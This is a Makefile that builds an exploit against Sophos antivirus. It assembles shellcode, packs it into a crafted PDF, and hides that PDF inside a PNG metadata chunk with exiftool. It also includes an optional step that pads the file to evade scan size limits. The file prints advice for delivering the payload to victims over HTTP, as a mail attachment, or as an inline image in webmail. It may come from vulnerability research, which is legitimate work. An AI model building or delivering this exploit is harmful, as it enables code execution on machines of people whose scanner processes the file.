NFLAGS=-fbin -O0 -Xgnu
CFLAGS=-ggdb3 -O0
LDFLAGS=-lz -ggdb3

%.bin: %.asm
	nasm $(NFLAGS) $< -o $@

all: setup exploit.png exploit.bin
	@echo "Try this to test exploit via HTTP:"
	@echo "$$ python -m SimpleHTTPServer"
	@echo
	@echo "Or send it as a mime attachment with mail(1)."
	@echo
	@echo "For webmail targets, make an html part containing <img src=cid:xxx>"
	@echo "using the mime-construct utility. Remember to set a content-id with"
	@echo "--part-header"
	@echo
	@echo "Send mail to support@sophos.com for assistance."

setup:
	@which exiftool &> /dev/null || echo please install exiftool
	@which exiftool &> /dev/null || echo debian: apt-get install libimage-exiftool-perl
	@which exiftool &> /dev/null || echo fedora: yum install perl-Image-ExifTool
	@which exiftool &> /dev/null || echo mac: http://owl.phy.queensu.ca/~phil/exiftool/
	@which exiftool

sophail: sophos.o
	$(CC) $(LDFLAGS) -o $@ sophos.o

exploit.pdf: sophail shellcode.bin
	./sophail < shellcode.bin | ./compress.py > $@

exploit.png: exploit.pdf pngsplit png-template.png
	# Attemping to embed the exploit within an iTXt PNG chunk using exiftool...
	@rm -f exploit.png
	exiftool -quiet -all= '-comment<=exploit.pdf' -o $@ png-template.png
	# Optimising PNG chunk order...
	./pngsplit -verbose -force $@
	@cat  $@.*.sig $@.*.IHDR $@.*.iTXt >  exploit.png
	@rm   $@.*.sig $@.*.IHDR $@.*.iTXt
	@cat  $@.*.*                       >> exploit.png
	@rm   $@.*.*
	# Appending random junk to exceed typical scan size limits (optional)...
	#head -c 10485760 /dev/urandom >> exploit.png

exploit.bin: exploit.pdf
	@head -c 128 /dev/urandom | cat - $< > $@

clean:
	rm -f *.o *.bin *.pdf sophail pngsplit exploit.png *.png.*.*
